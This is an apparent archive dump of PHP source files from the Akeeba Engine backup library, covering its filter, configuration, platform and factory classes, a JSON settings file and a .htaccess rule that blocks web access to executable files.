		if (!$this->cleanup_has_run)
		{
			// Loop the filters and clean up those with no data
			/**
			 * @var string     $filter_name
			 * @var FilterBase $filter
			 */
			foreach ($this->filters as $filter_name => $filter)
			{
				if (!$filter->hasFilters())
				{
					unset($this->filters[$filter_name]);
				} // Remove empty filters
			}
			$this->cleanup_has_run = true;
		}

		$by_filter = '';
		if (!empty($this->filters))
		{
			foreach ($this->filters as $filter_name => $filter)
			{
				if ($filter->isFiltered($test, $root, $object, $subtype))
				{
					$by_filter = strtolower($filter_name);

					return true;
				}
			}

			// If we are still here, no filter matched
			return false;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Returns the filtering status of a given object
	 *
	 * @param   string|array  $test     The string to check for filter status (e.g. filename, dir name, table name, etc)
	 * @param   string        $root     The exclusion root test belongs to
	 * @param   string        $object   What type of object is it? dir|file|dbobject
	 * @param   string        $subtype  Filter subtype (all|content|children)
	 *
	 * @return  bool  True if it is a filtered element
	 */
	public function isFiltered($test, $root, $object, $subtype)
	{
		$by_filter = '';

		return $this->isFilteredExtended($test, $root, $object, $subtype, $by_filter);
	}

	/**
	 * Returns the inclusion filters for a specific object type
	 *
	 * @param   string  $object  The inclusion object (dir|db)
	 *
	 * @return array
	 */
	public function &getInclusions($object)
	{
		$inclusions = [];

		if (!empty($this->filters))
		{
			/**
			 * @var string     $filter_name
			 * @var FilterBase $filter
			 */
			foreach ($this->filters as $filter_name => $filter)
			{
				if (!is_object($filter))
				{
					throw new RuntimeException("Object for filter $filter_name not found. The engine will now crash.");
				}

				$new_inclusions = $filter->getInclusions($object);

				if (!empty($new_inclusions))
				{
					$inclusions = array_merge($inclusions, $new_inclusions);
				}
			}
		}

		return $inclusions;
	}

	/**
	 * Returns the filter registry information for a specified filter class
	 *
	 * @param   string  $filter_name  The name of the filter we want data for
	 *
	 * @return    array    The filter data for the requested filter
	 */
	public function &getFilterData($filter_name)
	{
		if (array_key_exists($filter_name, $this->filter_registry))
		{
			return $this->filter_registry[$filter_name];
		}
		else
		{
			$dummy = [];

			return $dummy;
		}
	}

	/**
	 * Replaces the filter data of a specific filter with the new data
	 *
	 * @param   string  $filter_name  The filter for which to modify the stored data
	 * @param   string  $data         The new data
	 */
	public function setFilterData($filter_name, &$data)
	{
		$this->filter_registry[$filter_name] = $data;
	}

	/**
	 * Saves all filters to the platform defined database
	 *
	 * @return bool    True on success
	 */
	public function save()
	{
		return Platform::getInstance()->save_filters($this->filter_registry);
	}

	/**
	 * Get SQL statements to append to the database backup file
	 *
	 * @param   string  $root
	 *
	 * @return  array
	 */
	public function getExtraSQL(string $root): array
	{
		if (count($this->filters) < 1)
		{
			return [];
		}

		$ret = [];

		/**
		 * @var FilterBase $filter
		 */
		foreach ($this->filters as $filter)
		{
			$ret = array_merge($ret, $filter->getExtraSQL($root));
		}

		return $ret;
	}

	public function filterDatabaseRowContent(string $root, string $tableAbstract, array &$row): void
	{
		foreach ($this->filters as $filter)
		{
			$filter->filterDatabaseRowContent($root, $tableAbstract, $row);
		}
	}

	public function canFilterDatabaseRowContent(): bool
	{
		return array_reduce($this->filters, function (bool $carry, FilterBase $filter) {
			return $carry || $filter->canFilterDatabaseRowContent;
		}, false);
	}

	/**
	 * Checks if there is an active filter for the object/subtype requested.
	 *
	 * @param   string  $object   The filtering object: dir|file|dbobject|db
	 * @param   string  $subtype  The filtering subtype: all|content|children|inclusion
	 *
	 * @return bool
	 */
	public function hasFilterType($object, $subtype = null)
	{
		foreach ($this->filters as $filter_name => $filter)
		{
			if ($filter->object == $object)
			{
				if (is_null($subtype))
				{
					return true;
				}
				elseif ($filter->subtype == $subtype)
				{
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Resets all filters, reverting them to a blank state
	 *
	 * @return  void
	 *
	 * @since   5.4.0
	 */
	public function reset()
	{
		$this->filter_registry = [];
	}
}
PK     \    1  vendor/akeeba/engine/engine/Core/02.advanced.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBA_CONFIG_ADVANCED"
    },
    "akeeba.advanced.dump_engine": {
        "default": "native",
        "type": "engine",
        "subtype": "dump",
        "protected": "1",
        "title": "COM_AKEEBA_CONFIG_DUMPENGINE_TITLE",
        "description": "COM_AKEEBA_CONFIG_DUMPENGINE_DESCRIPTION"
    },
    "akeeba.advanced.scan_engine": {
        "default": "smart",
        "type": "engine",
        "subtype": "scan",
        "protected": "1",
        "title": "COM_AKEEBA_CONFIG_SCANENGINE_TITLE",
        "description": "COM_AKEEBA_CONFIG_SCANENGINE_DESCRIPTION"
    },
    "akeeba.advanced.archiver_engine": {
        "default": "jpa",
        "type": "engine",
        "subtype": "archiver",
        "title": "COM_AKEEBA_CONFIG_ARCHIVERENGINE_TITLE",
        "description": "COM_AKEEBA_CONFIG_ARCHIVERENGINE_DESCRIPTION"
    },
    "akeeba.advanced.postproc_engine": {
        "default": "none",
        "type": "none",
        "protected": "1"
    },
    "akeeba.advanced.embedded_installer": {
        "default": "brs",
        "type": "none",
        "protected": "1"
    },
    "engine.installer.angie.key": {
        "default": "",
        "type": "none",
        "protected": "1"
    }
}PK     \Sʉ      *  vendor/akeeba/engine/engine/Core/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \t%9  %9  -  vendor/akeeba/engine/engine/Configuration.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine;

defined('AKEEBAENGINE') || die();

use DirectoryIterator;
use stdClass;

/**
 * The Akeeba Engine configuration registry class
 */
class Configuration
{
	/**
	 * The currently loaded profile
	 *
	 * @var   integer
	 */
	public $activeProfile = null;

	/**
	 * Default namespace
	 *
	 * @var   string
	 */
	private $defaultNameSpace = 'global';

	/**
	 * Array keys which may contain stock directory definitions
	 *
	 * @var   array
	 */
	private $directory_containing_keys = [
		'akeeba.basic.output_directory',
	];

	/**
	 * Keys whose default values should never be overridden
	 *
	 * @var   array
	 */
	private $protected_nodes = [];

	/** The registry data
	 *
	 * @var   array
	 */
	private $registry = [];

	/**
	 * Constructor
	 *
	 * @return  void
	 */
	public function __construct()
	{
		// Create the default namespace
		$this->makeNameSpace($this->defaultNameSpace);

		// Create a default configuration
		$this->reset();
	}

	/**
	 * Create a namespace
	 *
	 * @param   string  $namespace  Name of the namespace to create
	 *
	 * @return  void
	 */
	public function makeNameSpace($namespace)
	{
		$this->registry[$namespace] = ['data' => new stdClass()];
	}

	/**
	 * Get the list of namespaces
	 *
	 * @return  array  List of namespaces
	 */
	public function getNameSpaces()
	{
		return array_keys($this->registry);
	}

	/**
	 * Get a registry value
	 *
	 * @param   string   $regpath               Registry path (e.g. global.directory.temporary)
	 * @param   mixed    $default               Optional default value
	 * @param   boolean  $process_special_vars  Optional. If true (default), it processes special variables, e.g.
	 *                                          [SITEROOT] in folder names
	 *
	 * @return  mixed  Value of entry or null
	 */
	public function get($regpath, $default = null, $process_special_vars = true)
	{
		// Cache the platform-specific stock directories
		static $stock_directories = [];

		if (empty($stock_directories))
		{
			$stock_directories = Platform::getInstance()->get_stock_directories();
		}

		$result = $default;

		// Explode the registry path into an array
		if ($nodes = explode('.', $regpath))
		{
			// Get the namespace
			$count = count($nodes);

			if ($count < 2)
			{
				$namespace = $this->defaultNameSpace;
				$nodes[1]  = $nodes[0];
			}
			else
			{
				$namespace = $nodes[0];
			}

			if (isset($this->registry[$namespace]))
			{
				$ns        = $this->registry[$namespace]['data'];
				$pathNodes = $count - 1;

				for ($i = 1; $i < $pathNodes; $i++)
				{
					if ((isset($ns->{$nodes[$i]})))
					{
						$ns = $ns->{$nodes[$i]};
					}
				}

				if (isset($ns->{$nodes[$i]}))
				{
					$result = $ns->{$nodes[$i]};
				}
			}
		}

		// Post-process certain directory-containing variables
		if ($process_special_vars && in_array($regpath, $this->directory_containing_keys))
		{
			if (!empty($stock_directories))
			{
				foreach ($stock_directories as $tag => $content)
				{
					$result = str_replace($tag, $content, $result);
				}
			}
		}

		return $result;
	}

	/**
	 * Set a registry value
	 *
	 * @param   string  $regpath               Registry Path (e.g. global.directory.temporary)
	 * @param   mixed   $value                 Value of entry
	 * @param   bool    $process_special_vars  Optional. If true (default), it processes special variables, e.g.
	 *                                         [SITEROOT] in folder names
	 *
	 * @return  mixed  Value of old value or boolean false if operation failed
	 */
	public function set($regpath, $value, $process_special_vars = true)
	{
		// Cache the platform-specific stock directories
		static $stock_directories = [];

		if (empty($stock_directories))
		{
			$stock_directories = Platform::getInstance()->get_stock_directories();
		}

		if (in_array($regpath, $this->protected_nodes))
		{
			return $this->get($regpath);
		}

		// Explode the registry path into an array
		$nodes = explode('.', $regpath);

		// Get the namespace
		$count = count($nodes);

		if ($count < 2)
		{
			$namespace = $this->defaultNameSpace;
		}
		else
		{
			$namespace = array_shift($nodes);
			$count--;
		}

		if (!isset($this->registry[$namespace]))
		{
			$this->makeNameSpace($namespace);
		}

		$ns = $this->registry[$namespace]['data'];

		$pathNodes = $count - 1;

		if ($pathNodes < 0)
		{
			$pathNodes = 0;
		}

		for ($i = 0; $i < $pathNodes; $i++)
		{
			// If any node along the registry path does not exist, or is not an object, create it
			if (!isset($ns->{$nodes[$i]}) || !is_object($ns->{$nodes[$i]}))
			{
				$ns->{$nodes[$i]} = new stdClass();
			}
			$ns = $ns->{$nodes[$i]};
		}

		// Set the new values
		if (is_string($value))
		{
			if (substr($value, 0, 10) == '###json###')
			{
				$value = json_decode(substr($value, 10));
			}
		}

		// Post-process certain directory-containing variables
		if ($process_special_vars && in_array($regpath, $this->directory_containing_keys))
		{
			if (!empty($stock_directories))
			{
				$data = $value;

				foreach ($stock_directories as $tag => $content)
				{
					$data = str_replace($tag, $content, $data);
				}

				$ns->{$nodes[$i]} = $data;

				return $ns->{$nodes[$i]};
			}
		}

		// This is executed if any of the previous two if's is false
		if (empty($nodes[$i]))
		{
			return false;
		}

		$ns->{$nodes[$i]} = $value;

		return $ns->{$nodes[$i]};
	}

	/**
	 * Unset (remove) a registry value
	 *
	 * @param   string  $regpath  Registry Path (e.g. global.directory.temporary)
	 *
	 * @return  boolean  True if the node was removed
	 */
	public function remove($regpath)
	{
		// Explode the registry path into an array
		$nodes = explode('.', $regpath);

		// Get the namespace
		$count = count($nodes);

		if ($count < 2)
		{
			$namespace = $this->defaultNameSpace;
		}
		else
		{
			$namespace = array_shift($nodes);
			$count--;
		}

		if (!isset($this->registry[$namespace]))
		{
			$this->makeNameSpace($namespace);
		}

		$ns = $this->registry[$namespace]['data'];

		$pathNodes = $count - 1;

		if ($pathNodes < 0)
		{
			$pathNodes = 0;
		}

		for ($i = 0; $i < $pathNodes; $i++)
		{
			// If any node along the registry path does not exist, return false
			if (!isset($ns->{$nodes[$i]}))
			{
				return false;
			}

			$ns = $ns->{$nodes[$i]};
		}

		unset($ns->{$nodes[$i]});

		return true;
	}

	/**
	 * Resets the registry to the default values
	 */
	public function reset()
	{
		// Load the Akeeba Engine INI files
		$root_path = __DIR__;

		$paths = [
			$root_path . '/Core',
			$root_path . '/Archiver',
			$root_path . '/Dump',
			$root_path . '/Scan',
			$root_path . '/Writer',
			$root_path . '/Proc',
			$root_path . '/Platform/Filter/Stack',
			$root_path . '/Filter/Stack',
		];

		$platform_paths = Platform::getInstance()->getPlatformDirectories();

		foreach ($platform_paths as $p)
		{
			$paths[] = $p . '/Filter/Stack';
			$paths[] = $p . '/Config';
		}

		foreach ($paths as $root)
		{
			if (!(is_dir($root) || is_link($root)))
			{
				continue;
			}

			if (!is_readable($root))
			{
				continue;
			}

			$di = new DirectoryIterator($root);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				if ($file->getExtension() == 'json')
				{
					$this->mergeEngineJSON($file->getRealPath());
				}
			}
		}
	}

	/**
	 * Merges an associative array of key/value pairs into the registry.
	 * If noOverride is set, only non set or null values will be applied.
	 *
	 * @param   array  $array                 An associative array. Its keys are registry paths.
	 * @param   bool   $noOverride            [optional] Do not override pre-set values.
	 * @param   bool   $process_special_vars  Optional. If true (default), it processes special variables, e.g.
	 *                                        [SITEROOT] in folder names
	 */
	public function mergeArray($array, $noOverride = false, $process_special_vars = true)
	{
		if (!$noOverride)
		{
			foreach ($array as $key => $value)
			{
				$this->set($key, $value, $process_special_vars);
			}
		}
		else
		{
			foreach ($array as $key => $value)
			{
				if (is_null($this->get($key, null)))
				{
					$this->set($key, $value, $process_special_vars);
				}
			}
		}
	}

	/**
	 * Merges a JSON file into the registry. Its top level keys are registry paths,
	 * child keys are appended to the section-defined paths and then set equal to the
	 * values. If noOverride is set, only non set or null values will be applied.
	 * Top level keys beginning with an underscore will be ignored.
	 *
	 * @param   string   $jsonPath    The full path to the INI file to load
	 * @param   boolean  $noOverride  [optional] Do not override pre-set values.
	 *
	 * @return  boolean  True on success
	 */
	public function mergeJSON($jsonPath, $noOverride = false)
	{
		if (!file_exists($jsonPath))
		{
			return false;
		}

		$rawData  = file_get_contents($jsonPath);
		$jsonData = empty($rawData) ? [] : json_decode($rawData, true);

		foreach ($jsonData as $rootkey => $rootvalue)
		{
			if (!is_array($rootvalue))
			{
				if (!$noOverride)
				{
					$this->set($rootkey, $rootvalue);
				}
				elseif (is_null($this->get($rootkey, null)))
				{
					$this->set($rootkey, $rootvalue);
				}
			}
			elseif (substr($rootkey, 0, 1) != '_')
			{
				foreach ($rootvalue as $key => $value)
				{
					if (!$noOverride)
					{
						$this->set($rootkey . '.' . $key, $value);
					}
					elseif (is_null($this->get($rootkey . '.' . $key, null)))
					{
						$this->set($rootkey . '.' . $key, $value);
					}
				}
			}
		}

		return true;
	}

	/**
	 * Merges an engine JSON file to the configuration. Each top level key defines a full
	 * registry path (section.subsection.key). It searches each top level key for the
	 * child key named "default" and merges its value to the configuration. The other keys
	 * are simply ignored.
	 *
	 * @param   string  $jsonPath    The absolute path to an JSON file
	 * @param   bool    $noOverride  [optional] If true, values from the JSON file will not override the configuration
	 *
	 * @return  boolean  True on success
	 */
	public function mergeEngineJSON($jsonPath, $noOverride = false)
	{
		if (!file_exists($jsonPath))
		{
			return false;
		}

		$rawData  = file_get_contents($jsonPath);
		$jsonData = empty($rawData) ? [] : json_decode($rawData, true);

		foreach ($jsonData ?? [] as $section => $nodes)
		{
			if (is_array($nodes))
			{
				if (substr($section, 0, 1) != '_')
				{
					// Is this a protected node?
					$protected = false;

					if (array_key_exists('protected', $nodes))
					{
						$protected = $nodes['protected'];
					}

					// If overrides are allowed, unprotect until we can set the value
					if (!$noOverride)
					{
						if (in_array($section, $this->protected_nodes))
						{
							$pnk = array_search($section, $this->protected_nodes);
							unset($this->protected_nodes[$pnk]);
						}
					}

					if (array_key_exists('remove', $nodes))
					{
						// Remove a node if it has "remove" set
						$this->remove($section);
					}
					elseif (isset($nodes['default']))
					{
						if (!$noOverride)
						{
							// Update the default value if No Override is set
							$this->set($section, $nodes['default']);
						}
						elseif (is_null($this->get($section, null)))
						{
							// Set the default value if it does not exist
							$this->set($section, $nodes['default']);
						}
					}

					// Finally, if it's a protected node, enable the protection
					if ($protected)
					{
						$this->protected_nodes[] = $section;
					}
					else
					{
						$idx = array_search($section, $this->protected_nodes);

						if ($idx !== false)
						{
							unset($this->protected_nodes[$idx]);
						}
					}
				}
			}
		}

		return true;
	}

	/**
	 * Exports the current registry snapshot as a JSON-encoded object. Each namespace is a property of the top-level
	 * JSON object.
	 *
	 * @return  string  The JSON-encoded representation of the registry
	 *
	 * @since   6.4.1
	 */
	public function exportAsJSON()
	{
		$forJSON    = [];
		$namespaces = $this->getNameSpaces();

		foreach ($namespaces as $namespace)
		{
			if ($namespace == 'volatile')
			{
				continue;
			}

			$forJSON[$namespace] = $this->registry[$namespace]['data'];
		}

		return json_encode($forJSON, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_FORCE_OBJECT | JSON_PRETTY_PRINT);

	}

	/**
	 * Sets the protection status for a specific configuration key
	 *
	 * @param   string|array  $node     The node to protect/unprotect
	 * @param   boolean       $protect  True to protect, false to unprotect
	 *
	 * @return  void
	 */
	public function setKeyProtection($node, $protect = false)
	{
		if (is_array($node))
		{
			foreach ($node as $k)
			{
				$this->setKeyProtection($k, $protect);
			}
		}
		elseif (is_string($node))
		{
			if (is_array($this->protected_nodes))
			{
				$protected = in_array($node, $this->protected_nodes);
			}
			else
			{
				$this->protected_nodes = [];
				$protected             = false;
			}

			if ($protect)
			{
				if (!$protected)
				{
					$this->protected_nodes[] = $node;
				}
			}
			else
			{
				if ($protected)
				{
					$pnk = array_search($node, $this->protected_nodes);
					unset($this->protected_nodes[$pnk]);
				}
			}
		}
	}

	/**
	 * Returns a list of protected keys
	 *
	 * @return  array
	 */
	public function getProtectedKeys()
	{
		return $this->protected_nodes;
	}

	/**
	 * Resets the protected keys
	 *
	 * @return  void
	 */
	public function resetProtectedKeys()
	{
		$this->protected_nodes = [];
	}

	/**
	 * Sets the protected keys
	 *
	 * @param   array  $keys  A list of keys to protect
	 *
	 * @return  void
	 */
	public function setProtectedKeys($keys)
	{
		$this->protected_nodes = $keys;
	}
}
PK     \}q   q   (  vendor/akeeba/engine/engine/Platform.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Platform\Base;
use Akeeba\Engine\Platform\PlatformInterface;
use DirectoryIterator;
use Exception;

/**
 * Platform abstraction. Manages the loading of platform connector objects and delegates calls to itself the them.
 *
 * @property string $tableNameProfiles The name of the table where backup profiles are stored
 * @property string $tableNameStats    The name of the table where backup records are stored
 *
 * @since    3.4
 */
class Platform
{
	/** @var Base|null The currently loaded platform connector object instance */
	protected static $platformConnectorInstance = null;

	/** @var array A list of additional directories where platform classes can be found */
	protected static $knownPlatformsDirectories = [];

	/** @var Platform The currently loaded object instance of this class. WARNING: This is NOT the platform connector! */
	protected static $instance = null;

	/**
	 * Public class constructor
	 *
	 * @param   string  $platform  Optional; platform name. Leave blank to auto-detect.
	 *
	 * @throws  Exception  When the platform cannot be loaded
	 */
	public function __construct($platform = null)
	{
		if (empty($platform) || is_null($platform))
		{
			$platform = static::detectPlatform();
		}

		if (empty($platform))
		{
			throw new Exception('Can not find a suitable Akeeba Engine platform for your site');
		}

		static::$platformConnectorInstance = static::loadPlatform($platform);

		if (!is_object(static::$platformConnectorInstance))
		{
			throw new Exception("Can not load Akeeba Engine platform $platform");
		}
	}

	/**
	 * Implements the Singleton pattern for this class
	 *
	 * @staticvar Platform $instance The static object instance
	 *
	 * @param   string  $platform  Optional; platform name. Autodetect if blank.
	 *
	 * @return  PlatformInterface
	 */
	public static function &getInstance($platform = null)
	{
		if (!is_object(static::$instance))
		{
			static::$instance = new Platform($platform);
		}

		return static::$instance;
	}

	/**
	 * Get a list of all directories where platform classes can be found
	 *
	 * @return  array
	 */
	public static function getPlatformDirectories()
	{
		$defaultPath = [];

		if (is_object(static::$platformConnectorInstance))
		{
			$defaultPath[] = __DIR__ . '/Platform/' . static::$platformConnectorInstance->platformName;
		}

		return array_merge(
			static::$knownPlatformsDirectories,
			$defaultPath
		);
	}

	/**
	 * Lists available platforms
	 *
	 * @staticvar   array   $platforms   Static cache of the available platforms
	 *
	 * @return  array  The list of available platforms
	 */
	static public function listPlatforms()
	{
		if (empty(static::$knownPlatformsDirectories))
		{
			$di = new DirectoryIterator(__DIR__ . '/Platform');

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isDir())
				{
					continue;
				}

				if ($file->isDot())
				{
					continue;
				}

				if ($file->getExtension() !== 'php')
				{
					continue;
				}

				$shortName = $file->getFilename();
				$bareName  = basename($shortName, '.php');

				/**
				 * We never have dots in our filenames but some hosts will rename files similar to  foo.1.php when their
				 * broken security scanners detect a false positive. This is our defence against that.
				 */
				if (strpos($bareName, '.') !== false)
				{
					continue;
				}

				static::$knownPlatformsDirectories[$shortName] = $file->getRealPath();
			}
		}

		return static::$knownPlatformsDirectories;
	}

	/**
	 * Add a platform to the list of known platforms
	 *
	 * @param   string  $slug               Short name of the platform
	 * @param   string  $platformDirectory  The path where you can find it
	 *
	 * @return  void
	 */
	public static function addPlatform($slug, $platformDirectory)
	{
		if (empty(static::$knownPlatformsDirectories))
		{
			static::listPlatforms();

			static::$knownPlatformsDirectories[$slug] = $platformDirectory;
		}
	}

	/**
	 * Auto-detect the suitable platform for this site
	 *
	 * @return  string
	 *
	 * @throws  Exception  When no platform is detected
	 */
	protected static function detectPlatform()
	{
		$platforms = static::listPlatforms();

		if (empty($platforms))
		{
			throw new Exception('No Akeeba Engine platform class found');
		}

		$bestPlatform = (object) [
			'name'     => null,
			'priority' => 0,
		];

		foreach ($platforms as $platform => $path)
		{
			$o = static::loadPlatform($platform, $path);

			if (is_null($o))
			{
				continue;
			}

			if ($o->isThisPlatform())
			{
				if ($o->priority > $bestPlatform->priority)
				{
					$bestPlatform->priority = $o->priority;
					$bestPlatform->name     = $platform;
				}
			}
		}

		return $bestPlatform->name;
	}

	/**
	 * Load a given platform and return the platform object
	 *
	 * @param   string  $platform  Platform name
	 * @param   string  $path      The path to laod the platform from (optional)
	 *
	 * @return  Base
	 */
	protected static function &loadPlatform($platform, $path = null)
	{
		if (empty($path))
		{
			if (isset(static::$knownPlatformsDirectories[$platform]))
			{
				$path = static::$knownPlatformsDirectories[$platform];
			}
		}

		if (empty($path))
		{
			$path = dirname(__FILE__) . '/' . $platform;
		}

		$classFile = $path . '/Platform.php';
		$className = '\\Akeeba\\Engine\\Platform\\' . ucfirst($platform);

		$null = null;

		if (!file_exists($classFile))
		{
			return $null;
		}

		require_once($classFile);

		if (!class_exists($className, false))
		{
			return $null;
		}

		$o = new $className;

		return $o;
	}

	/**
	 * Magic method to proxy all calls to the loaded platform object
	 *
	 * @param   string  $name       The name of the method to call
	 * @param   array   $arguments  The arguments to pass
	 *
	 * @return  mixed  The result of the method being called
	 *
	 * @throws  Exception  When the platform isn't loaded or an non-existent method is called
	 */
	public function __call($name, array $arguments)
	{
		if (is_null(static::$platformConnectorInstance))
		{
			throw new Exception('Akeeba Engine platform is not loaded');
		}

		if (method_exists(static::$platformConnectorInstance, $name))
		{
			return static::$platformConnectorInstance->$name(...$arguments);
		}
		else
		{
			throw new Exception('Method ' . $name . ' not found in Akeeba Platform');
		}
	}

	/**
	 * Magic getter for the properties of the loaded platform
	 *
	 * @param   string  $name  The name of the property to get
	 *
	 * @return  mixed  The value of the property
	 */
	public function __get($name)
	{
		if (!isset(static::$platformConnectorInstance->$name) || !property_exists(static::$platformConnectorInstance, $name))
		{
			static::$platformConnectorInstance->$name = null;
			user_error(__CLASS__ . ' does not support property ' . $name, E_NOTICE);
		}

		return static::$platformConnectorInstance->$name;
	}

	/**
	 * Magic setter for the properties of the loaded platform
	 *
	 * @param   string  $name   The name of the property to set
	 * @param   mixed   $value  The value of the property to set
	 */
	public function __set($name, $value)
	{
		if (isset(static::$platformConnectorInstance->$name) || property_exists(static::$platformConnectorInstance, $name))
		{
			static::$platformConnectorInstance->$name = $value;
		}
		else
		{
			static::$platformConnectorInstance->$name = null;
			user_error(__CLASS__ . ' does not support property ' . $name, E_NOTICE);
		}
	}
}
PK     \J.Bt  Bt  '  vendor/akeeba/engine/engine/Factory.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Part;
use Akeeba\Engine\Core\Database;
use Akeeba\Engine\Core\Filters;
use Akeeba\Engine\Core\Kettenrad;
use Akeeba\Engine\Core\Timer;
use Akeeba\Engine\Driver\Base;
use Akeeba\Engine\Dump\Native;
use Akeeba\Engine\Postproc\PostProcInterface;
use Akeeba\Engine\Util\ConfigurationCheck;
use Akeeba\Engine\Util\Encrypt;
use Akeeba\Engine\Util\EngineParameters;
use Akeeba\Engine\Util\FactoryStorage;
use Akeeba\Engine\Util\FileLister;
use Akeeba\Engine\Util\FileSystem;
use Akeeba\Engine\Util\Logger;
use Akeeba\Engine\Util\PushMessagesInterface;
use Akeeba\Engine\Util\RandomValue;
use Akeeba\Engine\Util\SecureSettings;
use Akeeba\Engine\Util\Statistics;
use Akeeba\Engine\Util\TemporaryFiles;
use DateTime;
use DateTimeZone;
use Exception;
use RuntimeException;

// Try to kill errors display
if (function_exists('ini_set') && !defined('AKEEBADEBUG'))
{
	ini_set('display_errors', false);
}

// Make sure the class autoloader is loaded
require_once __DIR__ . '/Autoloader.php';

/**
 * The Akeeba Engine Factory class
 *
 * This class is responsible for instantiating all Akeeba Engine classes
 */
abstract class Factory
{
	/**
	 * The absolute path to Akeeba Engine's installation
	 *
	 * @var  string
	 */
	private static $root;

	/**
	 * Partial class names of the loaded engines e.g. 'archiver' => 'Archiver\\Jpa'. Survives serialization.
	 *
	 * @var  array
	 */
	private static $engineClassnames = [];

	/**
	 * A list of instantiated objects which will persist after serialisation / unserialisation
	 *
	 * @var   array
	 */
	private static $objectList = [];

	/**
	 * A list of instantiated objects which will NOT persist after serialisation / unserialisation
	 *
	 * @var   array
	 */
	private static $temporaryObjectList = [];

	/**
	 * The class to use for push messages
	 *
	 * @since 9.3.1
	 * @var   string
	 */
	private static $pushClassName = 'Util\\PushMessages';

	/**
	 * Gets a serialized snapshot of the Factory for safekeeping (hibernate)
	 *
	 * @return  string  The serialized snapshot of the Factory
	 */
	public static function serialize(): string
	{
		// Call _onSerialize in all objects known to the factory
		foreach (static::$objectList as $object)
		{
			if (method_exists($object, '_onSerialize'))
			{
				call_user_func([$object, '_onSerialize']);
			}
		}

		// Serialise an array with all the engine information
		$engineInfo = [
			'root'             => static::$root,
			'objectList'       => static::$objectList,
			'engineClassnames' => static::$engineClassnames,
			'pushClassname'    => static::$pushClassName,
		];

		// Serialize the factory
		return base64_encode(serialize($engineInfo));
	}

	/**
	 * Regenerates the full Factory state from a serialized snapshot (resume)
	 *
	 * @param   string  $serializedData  The serialized snapshot to resume from
	 *
	 * @return  void
	 */
	public static function unserialize(string $serializedData): void
	{
		static::nuke();

		$engineInfo = unserialize(base64_decode($serializedData));

		static::$root                = $engineInfo['root'] ?? '';
		static::$objectList          = $engineInfo['objectList'] ?? [];
		static::$engineClassnames    = $engineInfo['engineClassnames'] ?? [];
		static::$pushClassName       = $engineInfo['pushClassname'] ?? 'Utils\\PushMessages';
		static::$temporaryObjectList = [];
	}

	/**
	 * Reset the internal factory state, freeing all previously created objects
	 *
	 * @return  void
	 */
	public static function nuke()
	{
		foreach (static::$objectList as &$object)
		{
			$object = null;
		}

		foreach (static::$temporaryObjectList as &$object)
		{
			$object = null;
		}

		static::$objectList          = [];
		static::$temporaryObjectList = [];
	}

	/**
	 * Saves the engine state to temporary storage
	 *
	 * @param   string|null  $tag       The backup origin to save. Leave empty to get from already loaded Kettenrad
	 *                                  instance.
	 * @param   string|null  $backupId  The backup ID to save. Leave empty to get from already loaded Kettenrad
	 *                                  instance.
	 *
	 * @return  void
	 *
	 * @throws  RuntimeException  When the state save fails for any reason
	 * @noinspection PhpUnused
	 */
	public static function saveState(?string $tag = null, ?string $backupId = null): void
	{
		$kettenrad = static::getKettenrad();
		$tag       = $tag ?: $kettenrad->getTag();
		$backupId  = $backupId ?: $kettenrad->getBackupId();

		$saveTag = rtrim($tag . '.' . ($backupId ?: ''), '.');
		$ret     = $kettenrad->getStatusArray();

		if ($ret['HasRun'] == 1)
		{
			Factory::getLog()->debug("Will not save a finished Kettenrad instance");

			return;
		}

		Factory::getLog()->debug("Saving Kettenrad instance $tag");

		// Save a Factory snapshot
		$factoryStorage = static::getFactoryStorage();

		$logger = static::getLog();
